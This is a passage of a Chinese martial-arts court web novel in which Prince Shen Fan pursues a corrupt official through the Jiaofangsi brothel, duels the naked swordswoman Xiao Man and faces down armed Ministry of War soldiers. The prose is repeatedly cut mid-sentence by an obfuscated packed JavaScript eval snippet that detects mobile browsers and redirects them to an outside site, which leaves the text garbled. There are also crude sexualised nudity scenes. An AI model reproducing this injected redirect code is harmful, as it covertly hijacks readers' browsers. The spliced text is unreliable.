就在这时,他看到正前方现出了一片深宅大院,正是自己经常光顾的教坊司,当即翻墙就越了过去。 可因为跑得体力透支,凭着一股激劲是翻上了高墙,可再无体力支撑自己顺墙滑下去,像个麻袋包狠狠砸在地上。 摔得七荤八素的马卫顾不上有没有受伤,爬起来一瘸一拐就往教坊司里跑,想凭熟悉地形彻底摆脱沈凡。 紧跟其后的沈凡眼见马卫翻了墙,当即也纵身一跃。 人在半空中抓住高大的墙头,借着这股力量将身子往前一荡,就已经站在了墙头上。 可随即沈凡就呆住了,因为映入眼帘的是一片极其庞大的建筑群。 但见是大院套小院儿,小院套房舍,每座院落的格局还都差不多,屋檐下都挂着红色的灯笼,红呼呼一片望不到头。 这,这是教坊司啊。 沈凡这时才反应过来自己在哪。 教坊司隶属礼部,它还有另外一个用处,那就是官方妓院。 沈凡虽然从没来过,却知道此处所在,这里收留的多是罪官的女眷,接待的都是达官贵人。 看着下方层层叠叠的院落,沈凡没有冒然跳下墙。 因为跳下去视野不好,更不好找人,俯身寻找着马卫留下的痕迹。 发现高墙下的土地上,清晰的留着一个人型印记,大而深那种,旁边还有一串杂乱的足印。 马卫应该是四肢摊开从这里摔下去的……这货还挺抗摔,这都没摔死他…… 沈凡的目光顺着马卫的足迹延伸,发现脚印到石板路上就没了。 为了获得更广阔的视野,沈凡站在高墙上向教坊司深处看去。 好在是上午,没人在这时嫖乐,除了几个仆人在打扫外,偌大的教坊司里几乎看不到人,视野很开阔。 忽然,沈凡看到一个身影闪进了前方二十几丈外的一座院落里,看胖乎乎的身形和坡脚的样子就是马卫。 狗官,我看你还往哪跑! 沈凡双脚在墙头上用力一踏,身子在空中扑出去近两丈远,落地后一个前滚翻又站了起来,冲马卫消失的那座院落就了追过去。 来到大院前,沈凡看到门是落了锁的,再次施展功夫翻墙而过,落地时几乎没有声响。 院里没人,除了正房前矗立着一座不大的假山外,其它地方空荡荡一目了然。 就在沈凡想着马卫会藏在哪里时,忽听假山后传来一阵喘气声。 轻手轻脚走过去,借着假山的遮挡探头观察,就看到了靠在假山石上累得气喘吁吁,灰头土脸的马卫。 为了不惊动教坊司里的人,也为了能一下擒住马卫,沈凡没有贸然出手,而是蹑足潜踪缓缓靠近,准备来个一击必中。 可就在这时,他不慎踩到了埋在土里的一截枯枝。 随着“嘎巴”一声轻响,正在捯气的马卫豁然警觉,回头看去时眼睛瞬间睁得如铜铃大小,灵魂差点儿出窍。 眼见沈凡扑了过来,这家伙不知从哪来了股激劲,“嗖”一下窜到正房前,拽开门就钻了进去。 扑空了的沈凡刚要跟着进去,就听“咔嚓”一声巨响,然后就看到马卫跟着半扇门一起飞了出来。 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315753|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡一个侧身躲过,伸手抓住马卫。 就见这家伙的胖脸上有一个脚印,已经昏**过去。 就在沈凡还没搞清状况时,突然感到寒气袭来,一把寒光闪闪的宝剑已是向自己的面门刺来。 沈凡身上虽然带着剑,可这时拔已然来不及了,又不能拿马卫当肉盾。 情急之下身子猛得向后一仰,使出一记铁板桥避过剑锋的同时,猛弹右腿照使剑之人踢了过去。 “砰……啊……” 伴着一声女子的尖叫传来,沈凡一个鲤鱼打挺从地上跳了起来,同时将手伸向佩剑准备厮杀。 可紧跟着他就张大了嘴……就见眼前站着一个身材高挑的女子,除了裹脚布外,身上就在没一片儿布。 那双大长腿都快赶上自己的腿了,尤其是胸前曲线极大,仿若城外矗立着烽火台的山峰,还是最大的那两座。 只是这两座山峰是雪白色的,上面的烽火台是粉红色的。 其中一座山峰上还印着自己的足印,难怪刚才那一脚踹上去感觉软绵绵。 因为视觉冲击太大,把个沈凡看得愣在原地一动不动。 而那女子因为胸口中了一脚,导致一时气喘也无法动弹。 “小蛮,怎么回事?” 一个长得道貌岸然,留着三缕须髯,披着长袍的中年男人从屋里跑了出来,看到沈凡后下意识就往回跑。 此刻,那个叫小蛮的女人刚把气儿喘匀。 眼见自己被看光,羞愧难当的她一把就将男人给拽了回来,同时扯下了他身上的长袍。 再看那男人,里面竟也什么都没穿,突如其来的变化令他惊呼一声,下意识捂着胯蹲在地上。 可他随即又想到了什么,又捂住脸跑回屋。 沈凡对男人不感兴趣,何况是长着蚕茧的男人,此时他已经拔出了腰间的剑。 因为那个叫小蛮的女子已经穿上了男人的衣袍,将腰间丝带一系就扑了过来。 手中长剑更是带着破空之声,直取自己的梗嗓咽喉。 第四十七章:麻杆打狼两头怕 面对这叫小蛮的女子的攻击,沈凡连忙挥剑格挡,两剑相击间发出“铮”得一声鸣响。 剑鸣未绝,那女子调转剑势再刺,沈凡上身倒仰自凌厉的剑下划过。 女子眼神冷冽,抖腕又刺,剑锋削向沈凡颈部。 沈凡举剑挡格,双剑相击再次发出“铮”得一声鸣响。 两个呼吸间已是拆了三招,沈凡见招拆招的同时,也品出了这个女人的实力。 武功不弱,剑术也很精湛,不过力道不足,给人的感觉更像是在舞剑,不像是在搏杀,不是自己的对手。 可就算女人不是自己的对手,沈凡也不想伤了她。 毕竟是自己打扰了人家的好事,换谁谁都得急眼,且遇到这种事最好是赶快脱身,传出去对自己的名声不好。 想到这沈凡将手中宝剑舞得更密,突然直捣黄龙直奔女人的面门。 女人见状忙挥剑抵挡,不想沈凡这一招是虚招,右手挥剑的同时左手推出一掌,打向女子的肩头。 目的是想把女人击退,然后好跑路。 女人看清沈凡的意图抽剑向后急退,可惜身子是避开了,长袍却被沈凡的手指勾住。 这长袍是那个中年男人的,本就肥大松垮,哪禁得住这般撕扯。 “扑啦啦”一声中,这件唯一能遮挡女人身体的长袍就被沈凡拽了下来。 刹那间,大长腿、小蛮腰、大底座,还有那两座巨大的烽火台再次尽收眼底。 女人发出一声尖叫,宝剑都不要了,双手抱山蹲在地上。 “对不住,我不是故意的。” 沈凡目光炯炯盯着女人解释了句,可随即就被迫把目光从女人身上移开,手中宝剑在身前一拨,打落了射向自己的一支箭矢。 抬头看去,就看到一个脸上蒙着着红肚兜,身上却什么都没穿的男人正在弯弓搭箭,准备再射向自己。 这人虽说蒙着面,沈凡还是从那个蚕茧一眼就认了出来,他就是刚才被那个女人抢走衣袍的男人。 此时不走,等待何时? 沈凡一把将地上的马卫扛在肩头,撒腿就向院墙跑。 跑到墙根下的时候,回手一剑再次打飞射来的箭矢,趁着对方搭箭的间隙,在墙壁上蹬踏几步就跳上了墙,蹿房越脊向教坊司外跑去。 等那个光腚的中年男人再想箭时,沈凡早已不见了踪影。 “小蛮你没事吧?”见女人光溜溜还蹲在地上,中年男连忙跑过去问道。 叫小蛮的女人看向中年男怒斥道:“我能有什么事,就是丢**了!” “没事就好,没事就好。”男人扶起小蛮就往屋里走,边走还边道: “估计就是两个小**贼,这事你可千万不要跟任何人提起,要不然我这王爷的脸往哪放?” “你们皇家的人还要脸?”小蛮呸了声道:“想当年太祖睡弟妹,太宗睡小妈,不都是你们皇族干出来的事么? 再说我都被人看光了,你就不管吗?” “哎哟我的小祖宗啊,你小点声小点声,本王答应好好补偿你还不行吗?” 小蛮想了想道:“五百两银子。” 中年男道:“给你一千两。” 小蛮破涕为笑,搂着中年男的脖子道:“王爷,你真准备轻易放过那两人么?” 中年男咬了咬牙,肯定是心不甘,可随后就想到了什么,嘴角一抽道: “算了算了,本王可不想让皇兄知道,更不想让这事成为京城人喝酒时的谈资。 再说我一直捂着脸,他们也不知道我是谁,还是少一事不如多一事吧!” 小蛮桃花眼一立道:“我可是没捂脸。” 中年男:“不是答应给你一千两银子了么。” “再加五百两,你看那天杀的都把我给踢肿了!”小蛮的脸说变就变,眼泪扑哧哧又落了下来。 中年男低头一看道:“别说,这下显得更大了,也好,本王再给你加五百两。” 小蛮再次破涕为笑,两条雪白的臂膀将中年男的脖子搂得更紧了,吐气如兰道了声:“王爷~” 可惜这时的中年男哪还有这个心思,他已经看清了那个身穿貂皮大氅之人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315754|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子。 心中暗道——若不是本王今日微服前来没带护卫,岂能让你闯进这里? 小子,你就自求多福吧,若是让本王再遇到一定宰了你! 发现怀里的男人根本就没反应,小蛮不禁有些失望。 不知为何,她又回想起了刚才的情景。 那个被自己踢飞的就罢了,胖得像头猪。 可那少年却生得一副好模样,伸手也了得,估计做那事也不会太差…… …… 沈帆的武功虽然不弱,可身上背着个足有两百斤的马卫,就无法像刚才那样在房上如履平地了。 刚从教坊司的围墙上跳下来,提着的那口气就再也绷不住了,将马卫扔在地上,双手拄着膝盖呼呼喘着粗气。 听了听院墙内并没什么动静,看来自己刚才的举动,并没有引起教坊司里差役的注意。 再看马卫,这货一点儿也没有苏醒的迹象,竟然还打起了呼噜,看来那个叫小蛮的女人这一脚很有威力。 一想到那两座高高耸起的烽火台,沈凡就觉得她应该改名叫大蛮。 虽然教坊司里没有动静,可沈凡身处的这个胡同却有行人来往。 有几个百姓被昏迷不醒的马卫吸引,想过来看看怎么回事,都被沈凡一句“滚开,官府办案”的话给吓退。 为了防止中年男追来,沈凡将马卫再次扛在肩上往胡同外走。 刚出胡同,就又被很多行人注意到,沈凡也不理他们,准备雇辆车把马卫押回张硕家。 就在这时,忽听身后传来一阵急促的马蹄声,然后就听到有人在喊自己:“小王爷,小王爷。” 沈凡回身看去,不由就是一喜。 就见两匹马已是到了身前,骑马的正是丁奉和王广。 沈凡刚要问你们怎么会在一起,王广已是面露焦急的道: “王爷您得赶快想办法,兵部已经派出一队兵马去张硕家救刘利去了。” 沈凡吃了一惊,将马卫丢给王广,自己则上了丁奉的马道:“回张硕家,其它的事路上说。” 第四十八章:他会是什么人呢 回返张硕家的路上,听了丁奉的言说沈凡才知道发生了何事。 原来丁奉是紧跟着自己追出来的,却把自己跟丢了,只好返回张硕家,半路上恰好遇到了王广。 而王广是奉自己的命令去兵部截马卫扑空后,刚好看到跟着自己办差的另一个兵部军士回来报信。 在得知兵部准备派兵去抢人后,返回来要给自己报信,恰好在半路遇到了丁奉。 “王广,知道兵部的人到哪了吗?”沈凡边挥鞭边问。 “小人出兵部的时候他们正在集结,应该没我们快。”王广回道。 “不能赌。”沈凡皱着眉道:“你立刻把马卫带往户部,直接找到丹阳公主殿下。 告诉她我可能发现了兵部官员新的**证据,兵部的人要来抢人,请她速派兵来张硕家。” 王广愣了下道:“丹阳公主会信小人吗?” 沈凡道:“你就说是我说的,她一定信。” 沈凡明白,别看丹阳公主爱耍小脾气,可在大是大非面前绝不含糊。 “小人明白了。”王广调转马头,带着马卫就往户部而去。 “丁奉你坐稳了,我们的速度还要加快。”沈凡道了声,双腿狠狠夹了下马腹,同时在马屁股上狠抽了一鞭。 只听胯下这匹马嘶鸣一声,掠过满脸惊愕的路人,宛如一道闪电向张硕家疾驰。 一路上,沈凡的脑子里不断重复着今天发生的事。 自己在不知道户部是否将病死军士的抚恤金下发的情况下,只是诈刘利和马卫一下,就让他们如此抵触,看来这里定有隐情。 还有张硕在信中提到,西北今年根本就没下雪,那为何在卷宗里出现了军士遇暴雪被冻死的事? 西北道刺史周康,为何无法及时供应伤寒药,难道真如张硕信中所提有贪腐行为? 再有就是王灵瑶和郑天泽用兵过狠的事…… 原以为很好办的一件差事,没想到竟查出这么多事来,且这些事如果是都真的,那自己可真就捅了马蜂窝了! 沈凡知道,自己虽然是王爷,但手中并无实权,现在只有指望丹阳公主帮忙了。 不知为何,沈凡脑中又出现了那个叫小蛮的女人。 没办法,那娘们儿的胸实在是太大了,过目难忘。 “丁奉,你知道教坊司有个叫小蛮的舞女吗?”沈凡问道。 这话把正纵马狂奔的丁奉问得一愣,反问道:“您说的是哪个小蛮?” 沈凡想了想道:“就是胸脯特别大的那个。” 虽然丁奉纳闷小王爷怎么会问这个,不过还是回道:“您说的那个小蛮是不是长得极高,舞技一绝?” 沈凡被问愣了。 那个小蛮长得是很高,跟自己都差不多了,可舞技如何可不知道。 不过想到她的剑舞得很好,跳舞应该也不会差,便道:“没错。” 丁奉道:“那小人知道了,您说的一定是谢小蛮。” “谢小蛮是谁?”沈凡又问。 丁奉道:“那可是教坊司的花魁,舞剑绝冠京城,更是在五年前一次宫廷宴会上,因代表教坊司领舞名震天下。” “她陪过你?”郑凡脱口而出问道。 丁奉立刻回道:“小人哪有这福份,人家陪得都是大富大贵之人,不过小人想王爷要想找她,她绝不会拒绝。” “扯淡!” 沈凡骂了句,脑海里现出那个四十多岁,留着三缕长髯,长得道貌岸然的男人,忽然间反应过来了什么。 这个男人的身份应该不低,且不希望有人看到他找谢小蛮,不然不会刻意挡住自己的脸。 那他会是什么人呢? 正想着,发现已是到了张硕家院外。 让沈凡松了口气的是,这里除了围观的那些百姓外,并没有兵部的人。 沈凡跳下马径直走到院中,看到手脚被捆,嘴里塞了一块破布的刘利,一旁站着张峰和徐盛。 沈凡也不废话,当即对他们道:“押上刘利,赶快跟我去户部。” 见沈凡要走,娄氏抱着女儿凑了过来,与她一起凑过来的还有那几十个病亡军士的家属,看向沈凡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315755|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里皆带着不安和猜疑。 沈凡明白他们的意图,说道:“放心,你们的事我会上心,这几日会给你们一个结果。” 听到这话,这些病亡军士的家属眼中燃起了希望,自动让开了一条通道。 沈凡带着徐盛、张峰押着刘利刚出院门,还没来得急上马,就听到胡同口传来了密集的马蹄声。 抬眼望去,一队骑着高头大马的人向这边而来,马蹄声如雷鸣般滚滚而至。 这些骑兵手握长矛,持着盾牌,穿着铠甲,在正午阳光的照耀下熠熠生辉,仿佛一道不可逾越的铁壁。 到张家小院后,他们就把这里给围了,下马迅速组成攻守兼备的队形,几十把锋利的长矛杀气腾腾指向沈凡众人。 突如其来的变化,把同样被围的那些百姓吓坏了。 他们哪见过这等场面,胆子大些的缩成一团,胆子小些的直接就跪了,有的甚至尿了裤子。 “保护王爷。”丁奉紧张的喊了句,拔出腰刀挡在沈凡身前。 徐盛也“仓朗朗”抽刀站在丁盛旁边,张峰手持菜刀跑到沈凡身边警戒着。 别看他年纪小,骨子里却继承了他爹张硕的忠勇。 来的好快……沈凡虽然也吃了一惊,却并没有慌乱,沉声道:“你们不要慌,这不是战场,是我大夏的京城。” 听到王爷镇定的声音,丁奉、徐盛和张峰也镇定下来,不过依然挡在沈凡身前身后。 “何人这么大胆,敢拿我刑部官员?” 盾牌阵后传来一声断喝,随着两面盾牌左右分开,从后面走出一个身穿铠甲,腰悬横刀之人。 身高八尺,身材魁梧,陪上身上的铁甲,站在那宛如一座小山。 往脸上看去就不怎么样了。 酒糟鼻,**眼,面皮粗糙得像核桃皮,偏偏还蓄着一撮狗油胡儿,给人第一感就是凶狠阴霾。 一见到此人,五花大绑刘利就像一条离水的鱼扑腾起来。 凭着一股激劲,竟将嘴里的破布顶了出来,声嘶力竭的叫道:“朱将军救我!” 第四十九章:审时度势 凭着一股激劲,刘利竟将嘴里的破布顶了出来,声嘶力竭的叫道: “朱将军救我,北凉王一直在问病亡将士补偿银的事……呜呜呜……” 刘利刚说到这,徐盛眼疾手快的把破布又塞进他嘴里。 张峰用菜刀侧面给他来了个大嘴巴,骂了句:“再不老实,小爷砍了你信不?” 刘利被打得呜咽一声,眼睛却一直盯着那个姓朱的将军,眼神里全是看到救星的神情。 沈凡给了张峰这个小护卫一个赞许的眼神,然后看向那个姓朱的将军道:“来者报上名来。” “我乃兵部四品中郎将朱淘利,不知北凉王抓兵部的人要干什么?”这个自称朱淘利的将军没有向沈凡施礼,斜着眼道。 沈凡脸色一沉道:“既然知道我是北凉王,按朝廷制度你应向我施礼,怎么这点规矩都不懂吗?” 沈凡说这话只有一个目,就是用自己王爵的名头压一压对方的气势。 不曾想朱淘利却冷笑一声道:“若在平时我自会尊你声王爷,可现在不同,就算你是王爷也不能这般胡作非为,无故拘押殴打我刑部官员。” 看来正如王广所说,那个回去报信的兵部军士把这里的事告诉他了,果然来者不善……沈凡道:“你要怎样?” 朱淘利将**眼一咪道:“本将军要你立刻放人。” 沈凡眉头微微一皱……对方人数众多,兵强马壮,不能在丹阳公主到来前与他们发生冲突。 想到这沈凡的脸色缓和下来,指向刘力道:“朱将军有所不知,本王是奉旨代户部来兵部的,专司办理西北阵亡病亡军士抚恤一事。 发现刘利办差不力,甚至有徇私舞弊的嫌疑,抓他送户部是本王职责所在,还请朱将军速速撤离。” 朱淘利道:“北凉王说这话就不对了,就算刘利有什么事也是我兵部的人。 本将军有权将他带回兵部,交本部堂官处置,请你立即放人。” 眼见对方不妥协,沈凡厉声道:“你听不懂人话吗,本王是奉旨办差,识趣的退下!” 朱淘利眼中闪过几分慌乱,随后挺起胸膛道:“既是奉旨办差,请把圣旨拿来一看。” 沈凡道:“没有圣旨,是皇上给丹阳公主下的口谕,丹阳公主转奏给本王的。 朱将军若是想,本王事后请丹阳公主给兵部下个知会公文便是。” 沈凡这番话说的有理有据有节,不但强调了圣意,还搬出了丹阳公主,只要对方是大夏朝的官员,就没有任何反驳的理由。 没想到朱淘利不但没退,反而眼中现出狠色道:“本将军就认圣旨,不认公文,王爷现在必须把人给我,否则本将军抢人。” 沈凡:“你敢?” 朱淘利不在不答话,将手用力一挥。 骤然间,包围沈凡众人的几十名兵部军士身子猛得往下一蹲,无数长矛从盾牌上留下的孔洞中探出,然后这就迈着铿锵有力的步伐逼向沈凡。 这把那些百姓吓得更不能自已。下意识全抱着脑袋蹲在地上,唯恐伤到自己。 丁奉、徐盛和张峰脸色大变,齐齐后退,后背紧贴着沈凡,直面寒光闪闪的矛枪。 沈凡也是脸色一变,从对方的举动里他已经得出一个结论。 这个朱淘利和刘利、马卫的事一定有关联,不然不会如此不计后果的抢人。 现在沈凡的心真没底。 要论单打独斗,自己就能一打多,丁奉和徐盛也差不到哪去。 可眼前这些军士身上都穿着甲胄,自己这方并没有着甲。 没有甲胄的武士就算武功再高,在武装甲士面前也几乎不堪一击,就算刺中对方几剑砍中几刀,人家也不会有大事。 何况这些军士采用的是战场上的打法,盾牌挡在前面,再用长矛攻击。 这样自己这方的刀剑几乎没有用武之地,反之只要被对方刺中一下,就会立刻失去反抗力。 沈凡之所以知道这些是有依据的,自己十四岁的时候,曾被父王带着观摩过平定河北道的一次匪乱。 当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315756|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父王率领两千这样的盾牌兵,愣是把一万多没盔甲的匪军杀得大败。 眼见包围圈越来越小,沈凡的目光一凝,高声喝道:“你们想干什么,难道要刺王杀驾吗?” 沈凡说这话的目的很明显,那就是恫吓,他自信这些军士绝不敢伤自己。 这一嗓子果然有用,那些军士的脚步明显顿住,纷纷扭头看向朱陶利。 朱淘利叫道:“你们都看我做什么,除了北凉王外,敢阻拦者格杀勿论。” “是。”众军士发出声回应,再此挺矛举盾,只不过他们都将寒光闪闪的枪矛对准了丁奉、徐盛和张峰。 见到这一幕,张峰的母亲和爷爷可是吓得不轻,双双扑了过来,叫着:“不可,不可!” 可他们跟本就近不了张峰的身,被军士挡在了包围圈外。 张峰见状却不慌,稚嫩的脸上反而现出决然道:“爷爷、娘你们不要过来,孩儿现在既然是王爷的人,就什么都不拍。” 沈凡没想到朱淘利会来这一手,对比能否将刘利带回户部,现在他更想护住丁奉、徐盛和这个小护卫张峰。 眼见他们把自己护得严严实实,脸上都带着豁出去的神情,沈凡毫不犹豫的喊道:“都站住,本王把人给你们就是。” 闻听此言,那些兵部军士的步伐戛然而止,不约而同都松了口气。 其实松了口气的不只是他们,连丁奉、徐盛也是如此。 他们不在乎以命保护沈凡,但上过战场上的他们比谁都清楚,真是动起手来必死无疑。 只有年少气盛,没有战场经验的张峰不知道这里的凶险,看向沈凡道:“王爷您不要交人,小的不怕!” 可话音刚落,就被师父徐盛一句“住嘴,听王爷的”给怼了回去。 “哦。”张峰应了声,不过依然护在沈凡身前,手里的菜刀握得更紧。 包围圈外,他的爷爷和母亲则瘫在地上长出了气。 “听我命令,都退后三步。”此刻,朱淘利也连忙对众军士命令道。 第五十章:威慑 随着军士们后退了三大步,他悬着的心也落下了一半。 其实他也不想与沈凡结死仇,虽然知道对方是个有名无权的王爷,可毕竟也是王,就算伤了他的护卫也是后患无穷。 只是,这个刘利必须要救! 此时的朱淘利已是换了一副笑脸,对着沈凡拱手道:“还请王爷见谅,某家也是公事公办。” 郑凡的嘴角撇出一丝笑意,也拱拱手道:“朱将军不要多说了,把人带走就是。” 说着一把拽过刘利,像拎死猪般将其拎到朱淘利面前。 朱淘利见状,脸上的笑意更浓,为了缓和气氛,再次对沈凡拱手道:“王爷,待这事过后定当登门致歉。” 沈凡点点头,脸上现出笑意,毫无征兆地抽出腰间宝剑,剑身还未全部出鞘的同时,已是将剑锋划向朱淘利的咽喉。 朱淘利大骇,虽事发突然,但他也是尸山血海里杀出来的武将,在危险面前有种本能的反应,不顾一切把双臂往上一撩。 沈凡的剑锋从朱淘利手臂上划过,伴着“滋~”得一声,将包裹在上面的皮甲划出两道深深的口子,却没有伤到皮肉。 剑锋刚过,沈凡没有拿剑的另一只手已是化掌为拳,从朱淘利手臂旁斜着插入,重重击在了他的脖颈上。 原来是这才是沈凡的实招,朱淘利是穿着铠甲,可脖子上没有任何保护,这一拳来得又刁又狠,猝不及防的他被打得几乎昏厥,身子不由往下一堆。 沈凡借机抓住朱淘利的一条胳膊,用力向后反背,“嘎巴”一下竟卸下了他的锁骨关节。 朱淘利如遭电击,发出一声惨叫,想要挣脱,不想沈凡把自己另一条手臂也反背了过来,同样“嘎巴”一下卸掉了锁骨关节。 虽事发突然,但那些兵部军士的反应也很快,哗得围了过来,将几十支长矛对准沈凡。 丁奉、周泰和张峰反应也不慢,冲到了过来,挡在众军士和沈凡之间。 “都退下!”沈凡一只手抓着朱淘利,另一只手指着那些军士喊道。 朱淘利也是个狠人,忍痛叫道:“北凉王,你、你竟然敢打本将军,难道不怕朝廷法度么?” 说完又冲那些不敢上前的军士道:“你们怕什么,他没有权抓我,还不来救我!” 朱淘利说这话是有道理的,沈凡是王爷不假,可与自己一样都是臣子。 自己身为兵部四品将军,只听命于本部堂官,间接听命皇帝。 沈凡虽地位尊贵,却只是个异姓王,不具备指挥兵部的权力,更别提扣押和殴打自己了。 众军士见自家将军这么说,心里有了底气,举矛围了上来。 “本王看你们谁敢?”沈凡喝道,同时提起拳头,在朱淘利的胸腹上连续打了十几拳。 这十几拳力量极大,就算朱淘利穿着铠甲,也被打出了内伤,吐出一口血一时说不出话来。 那些军士见状都怕了,怕朱将军真会被沈凡打死,纷纷后退两步,不过依然包围着沈凡几人。 一时间,双方形成了对峙。 沈凡明白,这样对峙下去只会对自己越来越不利,只有彻底镇住他们才行,看向那些军士道: “尔等都听着,我再说一遍,本王是奉旨办差,你们拿着兵刃指本王无异于谋反。 本王给你们一条明路,就是立刻放下兵刃,本王会既往不咎。 不然本王一封奏疏上去,尔等就是杀头的死罪。” 沈凡这话还真管用,这些军士害怕了,犹豫着是否照办。 刚缓过口气的朱淘利见状,用沙哑的嗓音道:“你们都是傻子么,他才是谋反,小心事后被问责……哦噗……” 沈凡又是一拳把朱淘利打吐了血,看向那些军士道:“本王会把朱淘利带往户部交给丹阳公主处置,这是谋反么,还不放下兵刃!” 众军士听到丹阳公主这四个字,再也没有怀疑。 且只要沈凡这么做,他们就不会被事后问责,纷纷开始放下手中的长矛和盾牌…… 与此同时,一队人马簇拥着一辆马车正向这里奔来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315757|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这对人马有百人之多,**手、刀手、**手各按队伍,皆穿着黑色的甲胄,只有为首的两人例外。 其中一人身穿宦官服,面色白净,花白得头发梳得整整齐齐,一尘不染,乃是丹阳公主的近身太监张凤。 另一人是位身穿劲装,腰间挎刀的中年军士,正是奉沈凡之命去找丹阳公主的王广。 此时他的任务的负责带路,将丹阳公主的侍卫带往平安坊张硕家。 马车上,丹阳公主正与一个白胖白胖的宫女说话。 “艳姑姑,把你看到的再说一遍。” “嗯。” 这个叫艳姑姑的宫女应了声,将自己从兵部衙门跟着沈凡开始说起来。 “这些就不要说了,把沈凡到张硕家后发生的事仔细说说。”丹阳公主打断了她道。 “是。”艳姑姑又应了声,将沈凡发现兵部发放病亡军士抚恤不力,杖责刘利时马卫逃跑,沈凡追击的过程又说了一遍。 这期间,丹阳公主又问了她两个问题。 你看兵部那两个官员是否有心虚的表现? 那些军属是否像是在寻衅滋事? 在得到艳姑姑不像的答复后,丹阳公主思索着。 想到王广闯进户部,告诉自己兵部一个将军集结了上百名全副武装,身着盔甲的军士去找沈凡,而沈凡那里只有三名护卫的事,脸上的焦急之色更甚。 沈凡这人她还是了解的,平日里看上去文质彬彬,脾气却极倔,还有些虎了吧唧。 是想,这小子连自己这个公主都敢顶,不是虎是什么? 而且听了王广和艳姑姑的话后,她与和沈凡的判断是一样的。 刘利和马卫一定涉及到了贪腐,而带着军士来抢人的那个兵部将领,也必与此事有瓜葛。 这种事一旦坐实,就是**的大罪。 要知道,兵部的那些人都是丘八出身,混不讲理。 万一这个将领为了自保狗急跳墙,沈凡那小子又虎了吧唧的得,与其硬顶必吃大亏。 第五十一章:这小娘们儿还真够意思 丹阳公主的焦急是有原因的。 一来沈凡是自己的属下,大小是个王爷,父皇又很看中他,要是出了什么闪失就麻烦了。 二来这件事又关乎到朝廷法度,关乎到能否把父皇交给自己的差事办好? 故此,于公于私丹阳公主都不希望沈凡出事,最好能赶在兵部的人到前赶到那里。 想到这她在也坐不住了,起身推开车门,对在前方带路的王广问道:“王广,还有多远?” 听到丹阳公主问自己,王广忙回头应道:“回禀殿下,拐进这个胡同就到了。” 正说着,马队已是簇拥着丹阳公主的车驾进了一个胡同。 因拐弯拐得过急,巨大的惯性差点儿把丹阳公主从车上甩下来。 “殿下小心!”艳姑姑连忙扶住丹阳公主。 太监张凤也忙勒住马,等车驾来到身边时道:“还请殿下回车坐着,到了地方老奴自会告诉殿下。” “不用,已经到了,看前面。”随着丹阳公主道了句,张风向前方看去,不由就吃了一惊。 就见前方十几丈的一座院落外,围着至少上百名身穿铠甲的军士。 也已知道此事的张凤立刻反应了过来,兵部的人已经到了。 丹阳公主嘴角一抽,知道自己来晚了。 担心沈凡出事的她也顾不上什么端庄优雅,厉声叫道:“告诉他们立刻退下,缴了他们的械!” 张凤答应一声,两腿一夹马腹,胯下战马像箭一样就冲了过去,对着那些兵部的军士高声喊道: “丹阳公主驾到,兵部的人都放下兵刃跪迎。” 王广这时也跟着张凤喊:“兵部的弟兄们听着,赶快放下兵器跪迎丹阳公主。” 可随即他和张凤就都楞住了。 因为他们发现这些兵部的军士手里并没有武器,而地上则堆满了盾牌长矛和腰刀。 紧跟而至的丹阳公主也看到了这些,不由也是一愣。 再看那些兵部的军士,在听到张凤的呼喊后都回头望去,然后就看到了一队身穿黑甲,杀气腾腾的侍卫冲他们而来。 这些侍卫簇拥着一辆马车,车上站着一位身穿华服的绝美女子。 